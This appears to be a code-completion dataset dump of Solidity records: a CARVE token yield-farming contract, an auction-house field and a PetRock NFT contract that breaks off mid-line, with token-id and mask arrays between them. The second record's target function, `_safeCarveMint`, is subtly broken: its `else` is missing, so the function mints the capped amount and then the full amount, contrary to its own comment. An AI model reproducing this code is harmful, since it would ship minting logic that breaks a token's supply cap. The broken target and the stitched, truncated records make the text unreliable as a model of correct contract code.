== _msgSender(), "not reward updater"); _; } modifier checkContract() { if (!acceptContractDepositor) { // solhint-disable-next-line avoid-tx-origin require(!address(msg.sender).isContract() && msg.sender == tx.origin, "contracts-not-allowed"); } _; } constructor( CarveToken carve_, address rewardPoolAddress_, address treasuryAddress_, uint256 carvePerBlock_, uint256 startBlock_ ) { carve = carve_; rewardPoolAddress = rewardPoolAddress_; treasuryAddress = treasuryAddress_; rewardUpdater = _msgSender(); carvePerBlock = carvePerBlock_; startBlock = startBlock_; rewardPoolFee = 15; // 1.5% } /// Return the number of pools function poolLength() external view returns (uint256) { return poolInfo.length; } /** * @notice Sets whether deposits can be made from contracts * @param acceptContractDepositor_ true or false */ function setAcceptContractDepositor(bool acceptContractDepositor_) external onlyOwner { acceptContractDepositor = acceptContractDepositor_; } /** * @notice Sets the reward updater address * @param rewardUpdaterAddress_ address where rewards are sent */ function setRewardUpdater(address rewardUpdaterAddress_) external onlyRewardUpdater { rewardUpdater = rewardUpdaterAddress_; } /** * @notice Sets the staking reward pool * @param rewardPoolAddress_ address where rewards are sent */ function setRewardPool(address rewardPoolAddress_) external onlyRewardUpdater { rewardPoolAddress = rewardPoolAddress_; } /** * @notice Sets the claim fee percentage. Maximum of 5%. * @param rewardPoolFee_ percentage using decimal base of 1000 ie: 10% = 100 */ function setRewardPoolFee(uint256 rewardPoolFee_) external onlyRewardUpdater { require(rewardPoolFee_ <= 50, "invalid fee value"); rewardPoolFee = rewardPoolFee_; } /** * @notice Sets the rewards per block * @param rewardPerBlock amount of rewards minted per block */ function setRewardPerBlock(uint256 rewardPerBlock) external onlyRewardUpdater { massUpdatePools(); carvePerBlock = rewardPerBlock; } /** * @notice Sets referral commission * @param referralCommissionPercent_ percentage using decimal base of 1000 ie: 1% = 10 */ function setReferralCommission(uint256 referralCommissionPercent_) external onlyRewardUpdater { referralCommissionPercent = referralCommissionPercent_; } /** * @notice Update treasury address by the previous treasury. * @param treasuryAddress_ new treasury address */ function updateTreasuryAddress(address treasuryAddress_) external onlyTreasury { treasuryAddress = treasuryAddress_; } /** * @notice Set the migrator contract * @param migrator_ address of migration contract */ function setMigrator(IMigrator migrator_) external onlyOwner { migrator = migrator_; } /** * @notice Add a new LP to the farm * @param allocPoint reward allocation * @param lpToken ERC20 LP token */ function add(uint256 allocPoint, IERC20 lpToken, uint8 flag) external onlyOwner saveGas(flag) { address tokenAddress = address(lpToken); require(!poolMap[tokenAddress], "pool-already-exists"); require(_isERC20(tokenAddress), "lp-token-not-erc20"); massUpdatePools(); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(allocPoint); poolInfo.push(PoolInfo({ lpToken: lpToken, allocPoint: allocPoint, lastRewardBlock: lastRewardBlock, accCarvePerShare: 0 })); poolMap[address(lpToken)] = true; } /** * @notice Update the given pool's CARVE allocation point * @param pid pool index * @param allocPoint reward allocation */ function set(uint256 pid, uint256 allocPoint, uint8 flag) external onlyOwner saveGas(flag) { massUpdatePools(); totalAllocPoint = totalAllocPoint.sub(poolInfo[pid].allocPoint).add(allocPoint); poolInfo[pid].allocPoint = allocPoint; } /** * @notice Migrate LP token to another LP contract. Can be called by anyone. We trust that migrator contract is good. * @param pid pool index */ function migrate(uint256 pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } /** * @notice View function to see pending CARVE on frontend. * @param pid pool index * @param user_ user to lookup */ function pendingCarve(uint256 pid, address user_) external view returns (uint256) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][user_]; uint256 accCarvePerShare = pool.accCarvePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = _getMultiplier(pool.lastRewardBlock, block.number); uint256 carveReward = multiplier.mul(carvePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accCarvePerShare = accCarvePerShare.add(carveReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accCarvePerShare).div(1e12).sub(user.rewardDebt); } /// Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } /** * @notice Update reward variables of the given pool to be up-to-date. * @param pid pool index */ function updatePool(uint256 pid) public { PoolInfo storage pool = poolInfo[pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = _getMultiplier(pool.lastRewardBlock, block.number); uint256 carveReward = multiplier.mul(carvePerBlock).mul(pool.allocPoint).div(totalAllocPoint); _safeCarveMint(address(this), carveReward); _safeCarveMint(treasuryAddress, carveReward.div(10)); pool.accCarvePerShare = pool.accCarvePerShare.add(carveReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } /** * @notice Deposit LP tokens. Pending rewards are claimed. * @param pid pool index * @param amount amount of LP tokens to deposit */ function deposit(uint256 pid, uint256 amount, address referrer, uint8 flag) external checkContract nonReentrant saveGas(flag) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; updatePool(pid); if (referrer != address(0)) { require(referrer != msg.sender, "cannot refer yourself"); referralMap[msg.sender] = referrer; } if (user.amount > 0) { _claim(pid); } if (amount > 0) { pool.lpToken.safeTransferFrom(msg.sender, address(this), amount); user.amount = user.amount.add(amount); } user.rewardDebt = user.amount.mul(pool.accCarvePerShare).div(1e12); emit Deposit(msg.sender, pid, amount); } /** * @notice Withdraw LP tokens. Pending rewards are claimed. * @param pid pool index * @param amount amount of LP tokens to withdraw */ function withdraw(uint256 pid, uint256 amount, uint8 flag) external nonReentrant saveGas(flag) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; require(user.amount >= amount, "withdraw: not good"); updatePool(pid); _claim(pid); if (amount > 0) { user.amount = user.amount.sub(amount); pool.lpToken.safeTransfer(msg.sender, amount); } user.rewardDebt = user.amount.mul(pool.accCarvePerShare).div(1e12); emit Withdraw(msg.sender, pid, amount); } /** * @notice Claim rewards from pool * @param pid pool index */ function claim(uint256 pid, uint8 flag) external nonReentrant saveGas(flag) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; updatePool(pid); _claim(pid); user.rewardDebt = user.amount.mul(pool.accCarvePerShare).div(1e12); } /** * @notice Withdraw without caring about rewards. EMERGENCY ONLY. * @param pid pool index */ function emergencyWithdraw(uint256 pid) external nonReentrant { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(msg.sender, amount); emit EmergencyWithdraw(msg.sender, pid, amount); } /** * @notice This function allows owner to take unsupported tokens out of the contract, since this pool exists longer than the other pools. * This is in an effort to make someone whole, should they seriously mess up. * It also allows for removal of airdropped tokens. */ function recoverUnsupported(IERC20 token, uint256 amount, address to) external onlyOwner { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { PoolInfo storage pool = poolInfo[pid]; // can't take staked asset require(token != pool.lpToken, "!pool.lpToken"); } token.safeTransfer(to, amount); } /// Claim rewards from pool function _claim(uint256 pid) internal { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; uint256 pending = user.amount.mul(pool.accCarvePerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { uint256 fee = pending.mul(rewardPoolFee).div(1000); address referrer = referralMap[msg.sender]; if (referrer != address(0)) { uint256 commission = pending.mul(referralCommissionPercent).div(1000); _safeCarveTransfer(referrer, commission); pending = pending.sub(commission); } pending = pending.sub(fee); _safeCarveTransfer(msg.sender, pending); _safeCarveTransfer(rewardPoolAddress, fee); emit Claimed(msg.sender, pid, pending); } } /** * @notice Safe CARVE mint to ensure we cannot mint over cap */ function _safeCarveMint(address to, uint256 amount) internal { if (to != address(0)) { uint256 totalSupply = carve.totalSupply(); uint256 cap = carve.CAP(); if (totalSupply.add(amount) > cap) { carve.mint(to, cap.sub(totalSupply)); } else { carve.mint(to, amount); } } } /** * @notice Safe carve transfer function, just in case if rounding error causes pool to not have enough CARVE. */ function _safeCarveTransfer(address to, uint256 amount) internal { uint256 carveBal = carve.balanceOf(address(this)); if (amount > carveBal) { carve.transfer(to, carveBal); } else { carve.transfer(to, amount); } } /** * @notice Return reward multiplier over the given `from` to `to` block. * @param from start of block range * @param to end of block range */ function _getMultiplier(uint256 from, uint256 to) internal view returns (uint256) { return to.sub(from); } /** * @notice Simple check to see if address looks like ERC20 * @param target address to check */ function _isERC20(address target) internal view returns (bool) { bytes memory selector = abi.encodeWithSelector(bytes4(keccak256("balanceOf(address)")), msg.sender); (bool success,) = target.staticcall(selector); if (!success) { return false; } selector = abi.encodeWithSelector(bytes4(keccak256("totalSupply()"))); (success,) = target.staticcall(selector); return success; } }
* @notice Safe CARVE mint to ensure we cannot mint over cap/
function _safeCarveMint(address to, uint256 amount) internal { if (to != address(0)) { uint256 totalSupply = carve.totalSupply(); uint256 cap = carve.CAP(); if (totalSupply.add(amount) > cap) { carve.mint(to, cap.sub(totalSupply)); carve.mint(to, amount); } } }
6,411,340
[ 1, 9890, 385, 985, 3412, 312, 474, 358, 3387, 732, 2780, 312, 474, 1879, 3523, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 4626, 16321, 537, 49, 474, 12, 2867, 358, 16, 2254, 5034, 3844, 13, 2713, 288, 203, 3639, 309, 261, 869, 480, 1758, 12, 20, 3719, 288, 203, 5411, 2254, 5034, 2078, 3088, 1283, 273, 5926, 537, 18, 4963, 3088, 1283, 5621, 203, 5411, 2254, 5034, 3523, 273, 5926, 537, 18, 17296, 5621, 203, 5411, 309, 261, 4963, 3088, 1283, 18, 1289, 12, 8949, 13, 405, 3523, 13, 288, 203, 7734, 5926, 537, 18, 81, 474, 12, 869, 16, 3523, 18, 1717, 12, 4963, 3088, 1283, 10019, 203, 7734, 5926, 537, 18, 81, 474, 12, 869, 16, 3844, 1769, 203, 5411, 289, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xFa9f25e6e7065aE49705cC1A1e5a261462C2295A/sources/contracts/artist/10_jon_waltz/AuctionHouse.sol
The minimum amount by which a bid must exceed the current highest bid
uint256 public minBidIncrement;
3,101,559
[ 1, 1986, 5224, 3844, 635, 1492, 279, 9949, 1297, 9943, 326, 783, 9742, 9949, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 1131, 17763, 10798, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-04-13 */ // SPDX-License-Identifier: MIT // File: contracts/PetRock.sol // ⓅⒺⓉ ⓇⓄⒸⓀ // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; abstract contract Context {function _msgSender() internal view virtual returns (address) {return msg.sender;} function _msgData() internal view virtual returns (bytes calldata) {return msg.data;}} // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; library Counters {struct Counter {uint256 _value;} function current(Counter storage counter) internal view returns (uint256) {return counter._value;} function increment(Counter storage counter) internal {unchecked {counter._value += 1;}} function decrement(Counter storage counter) internal {uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked {counter._value = value - 1;}} function reset(Counter storage counter) internal {counter._value = 0;}} // File @openzeppelin/contracts/access/[email protected] // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) abstract contract Ownable is Context {address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() {_transferOwnership(_msgSender());} function owner() public view virtual returns (address) {return _owner;} modifier onlyOwner() {require(owner() == _msgSender(), "Ownable: caller is not the owner");_;} function renounceOwnership() public virtual onlyOwner {_transferOwnership(address(0));} function transferOwnership(address newOwner) public virtual onlyOwner {require(newOwner != address(0), "Ownable: new owner is the zero address");_transferOwnership(newOwner);} function _transferOwnership(address newOwner) internal virtual {address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner);}} // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) library Strings {bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) {if (value == 0) {return "0";} uint256 temp = value; uint256 digits; while (temp != 0) {digits++; temp /= 10;} bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10;} return string(buffer);} function toHexString(uint256 value) internal pure returns (string memory) {if (value == 0) {return "0x00";} uint256 temp = value; uint256 length = 0; while (temp != 0) {length++; temp >>= 8;} return toHexString(value, length);} function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4;} require(value == 0, "Strings: hex length insufficient"); return string(buffer);}} // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) interface IERC165 {function supportsInterface(bytes4 interfaceId) external view returns (bool);} // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;} // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) interface IERC721Receiver {function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);} // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory);} // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256);} // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) library Address { function isContract(address account) internal view returns (bool) {uint256 size; assembly {size := extcodesize(account)} return size > 0;} function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted");} function functionCall(address target, bytes memory data) internal returns (bytes memory) {return functionCall(target, data, "Address: low-level call failed");} function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {return functionCallWithValue(target, data, 0, errorMessage);} function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {return functionCallWithValue(target, data, value, "Address: low-level call with value failed");} function functionCallWithValue(address target, bytes memory data, uint256 value,string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract");(bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage);} function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {return functionStaticCall(target, data, "Address: low-level static call failed");} function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract");(bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage);} function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {return functionDelegateCall(target, data, "Address: low-level delegate call failed");} function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract");(bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage);} function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) { if (success) {return returndata;} else {if (returndata.length > 0) {assembly {let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size)}} else {revert(errorMessage);}}}} // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {return interfaceId == type(IERC165).interfaceId;}} // File contracts/ERC721A.sol contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership {address addr; uint64 startTimestamp;} struct AddressData {uint128 balance; uint128 numberMinted;} uint256 internal currentIndex = 0; string private _name; string private _symbol; mapping(uint256 => TokenOwnership) internal _ownerships; mapping(address => AddressData) private _addressData; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) {_name = name_; _symbol = symbol_;} function totalSupply() public view override returns (uint256) {return currentIndex;} function tokenByIndex(uint256 index) public view override returns (uint256) {require(index < totalSupply(), 'ERC721A: global index out of bounds');return index;} function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), 'ERC721A: owner index out of bounds'); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) {TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) {currOwnershipAddr = ownership.addr;} if (currOwnershipAddr == owner) {if (tokenIdsIdx == index) {return i;} tokenIdsIdx++;}} revert('ERC721A: unable to get token of owner by index');} function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);} function balanceOf(address owner) public view override returns (uint256) {require(owner != address(0), 'ERC721A: balance query for the zero address'); return uint256(_addressData[owner].balance);} function _numberMinted(address owner) internal view returns (uint256) {require(owner != address(0), 'ERC721A: number minted query for the zero address'); return uint256(_addressData[owner].numberMinted);} function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {require(_exists(tokenId), 'ERC721A: owner query for nonexistent token'); for (uint256 curr = tokenId; ; curr--) {TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) {return ownership;}} revert('ERC721A: unable to determine the owner of token');} function ownerOf(uint256 tokenId) public view override returns (address) {return ownershipOf(tokenId).addr;} function name() public view virtual override returns (string memory) {return _name;} function symbol() public view virtual override returns (string memory) {return _symbol;} function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token'); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';} function _baseURI() internal view virtual returns (string memory) {return '';} function approve(address to, uint256 tokenId) public override {address owner = ERC721A.ownerOf(tokenId); require(to != owner, 'ERC721A: approval to current owner'); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), 'ERC721A: approve caller is not owner nor approved for all'); _approve(to, tokenId, owner);} function getApproved(uint256 tokenId) public view override returns (address) {require(_exists(tokenId), 'ERC721A: approved query for nonexistent token'); return _tokenApprovals[tokenId];} function setApprovalForAll(address operator, bool approved) public override {require(operator != _msgSender(), 'ERC721A: approve to caller'); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved);} function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {return _operatorApprovals[owner][operator];} function transferFrom(address from, address to, uint256 tokenId) public override {_transfer(from, to, tokenId);} function safeTransferFrom(address from, address to, uint256 tokenId) public override {safeTransferFrom(from, to, tokenId, '');} function safeTransferFrom(address from,address to,uint256 tokenId,bytes memory _data) public override {_transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), 'ERC721A: transfer to non ERC721Receiver implementer');} function _exists(uint256 tokenId) internal view returns (bool) {return tokenId < currentIndex;} function _safeMint(address to, uint256 quantity) internal {_safeMint(to, quantity, '');} function _safeMint(address to, uint256 quantity, bytes memory _data) internal {uint256 startTokenId = currentIndex; require(to != address(0), 'ERC721A: mint to the zero address'); require(!_exists(startTokenId), 'ERC721A: token already minted'); require(quantity > 0, 'ERC721A: quantity must be greater 0'); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData(addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity)); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) {emit Transfer(address(0), to, updatedIndex); require(_checkOnERC721Received(address(0), to, updatedIndex, _data), 'ERC721A: transfer to non ERC721Receiver implementer');updatedIndex++;} currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity);} function _transfer(address from, address to, uint256 tokenId) private {TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved'); require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner'); require(to != address(0), 'ERC721A: transfer to the zero address'); _beforeTokenTransfers(from, to, tokenId, 1); _approve(address(0), tokenId, prevOwnership.addr); unchecked {_addressData[from].balance -= 1; _addressData[to].balance += 1;} _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) {if (_exists(nextTokenId)) {_ownerships[nextTokenId] = TokenOwnership(prevOwnership.addr, prevOwnership.startTimestamp);}} emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1);} function _approve(address to, uint256 tokenId, address owner) private {_tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId);} function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) {try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {return retval == IERC721Receiver(to).onERC721Received.selector;} catch (bytes memory reason) { if (reason.length == 0) {revert('ERC721A: transfer to non ERC721Receiver implementer');} else {assembly {revert(add(32, reason), mload(reason))}}}} else {return true;}} function _beforeTokenTransfers(address from, address to, uint256 startTokenId, uint256 quantity) internal virtual {} function _afterTokenTransfers(address from, address to, uint256 startTokenId, uint256 quantity) internal virtual {}} contract PetRock is ERC721A, Ownable {using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; address public constant proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1; uint256 public maxPerTxFree = 2; uint256 public maxPerWallet = 8; uint256 public maxPerTx = 2; uint256 public freeMaxSupply = 400; uint256 public maxSupply = 800; uint256 public price = 0.005 ether; bool public paused = false; bool public revealed = false; mapping(address => uint256) public addressMinted; constructor() ERC721A("PetRock", "PR") {setHiddenMetadataUri("ipfs://QmQBeRu65GgDymnHQf5a1Sco5WhQ7zHjrSuvubPBMgXwjw/hidden.json");} function mint(uint256 _amount) external payable {address 